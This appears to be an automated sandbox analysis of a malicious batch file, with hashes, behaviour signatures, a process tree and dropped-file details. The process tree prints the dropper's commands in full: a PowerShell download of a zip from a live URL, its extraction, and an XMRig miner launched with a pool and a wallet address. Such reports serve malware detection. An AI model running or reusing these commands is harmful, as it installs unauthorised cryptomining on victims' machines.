Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-10-2023 13:23

General

  • Target

    tesy - Copy (3).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 16 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3592
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3836
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1304

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    b1e180583d3525f6534cc1110224a5fb

    SHA1

    b7cadce5826cdbe5b7a16cc6116522e7885882b7

    SHA256

    2e7e0e975fd986c9156ccaf646991dc1f1620e0330ff7b934dbdfd5a7c4567f7

    SHA512

    a8b64bd8c0709ae0440846e98d9e8023506c5fc3228c5a4bb2a5ae29bc310fb7cf833219766a1305b708bd7f1b21d76b3efa1169d5c7ffa09412d2a4bb600752

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    31fbb29b96d20224fd18a99207b8715c

    SHA1

    eb971562570f35c05b05ed4f6bc34296a1fc0ac9

    SHA256

    10f64ec2e9227c3488ef48189dcdc5e1e1bd9429e324685ab5c70f0c36dbe988

    SHA512

    10fad355377623044e64ff4368ae421aa4117947bdda066475800e15655d689060a465d4c2c070ad0b9b9236d9532cfd464acaa25fc18662110f050268cca0e5

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ezis2rcz.ere.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/1304-58-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-61-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-66-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-50-0x000001C4AEEB0000-0x000001C4AEED0000-memory.dmp

    Filesize

    128KB

  • memory/1304-65-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-64-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-63-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-51-0x000001C4AEED0000-0x000001C4AEEF0000-memory.dmp

    Filesize

    128KB

  • memory/1304-62-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-54-0x000001C4AEED0000-0x000001C4AEEF0000-memory.dmp

    Filesize

    128KB

  • memory/1304-60-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-59-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-57-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-52-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-48-0x000001C4AD6B0000-0x000001C4AD6F0000-memory.dmp

    Filesize

    256KB

  • memory/1304-49-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-56-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-55-0x00007FF78A930000-0x00007FF78B433000-memory.dmp

    Filesize

    11.0MB

  • memory/1304-47-0x000001C4AD450000-0x000001C4AD470000-memory.dmp

    Filesize

    128KB

  • memory/1304-53-0x000001C4AEEB0000-0x000001C4AEED0000-memory.dmp

    Filesize

    128KB

  • memory/1532-12-0x0000024ED6F60000-0x0000024ED6F70000-memory.dmp

    Filesize

    64KB

  • memory/1532-11-0x0000024ED6F60000-0x0000024ED6F70000-memory.dmp

    Filesize

    64KB

  • memory/1532-9-0x0000024EEFC20000-0x0000024EEFC42000-memory.dmp

    Filesize

    136KB

  • memory/1532-17-0x00007FFEDC1B0000-0x00007FFEDCC71000-memory.dmp

    Filesize

    10.8MB

  • memory/1532-10-0x00007FFEDC1B0000-0x00007FFEDCC71000-memory.dmp

    Filesize

    10.8MB

  • memory/1532-13-0x0000024ED6F60000-0x0000024ED6F70000-memory.dmp

    Filesize

    64KB

  • memory/3592-33-0x000002B253C00000-0x000002B253C12000-memory.dmp

    Filesize

    72KB

  • memory/3592-43-0x00007FFEDC1B0000-0x00007FFEDCC71000-memory.dmp

    Filesize

    10.8MB

  • memory/3592-34-0x000002B23A9A0000-0x000002B23A9AA000-memory.dmp

    Filesize

    40KB

  • memory/3592-25-0x000002B23A870000-0x000002B23A880000-memory.dmp

    Filesize

    64KB

  • memory/3592-32-0x000002B23A870000-0x000002B23A880000-memory.dmp

    Filesize

    64KB

  • memory/3592-31-0x000002B23A870000-0x000002B23A880000-memory.dmp

    Filesize

    64KB

  • memory/3592-19-0x00007FFEDC1B0000-0x00007FFEDCC71000-memory.dmp

    Filesize

    10.8MB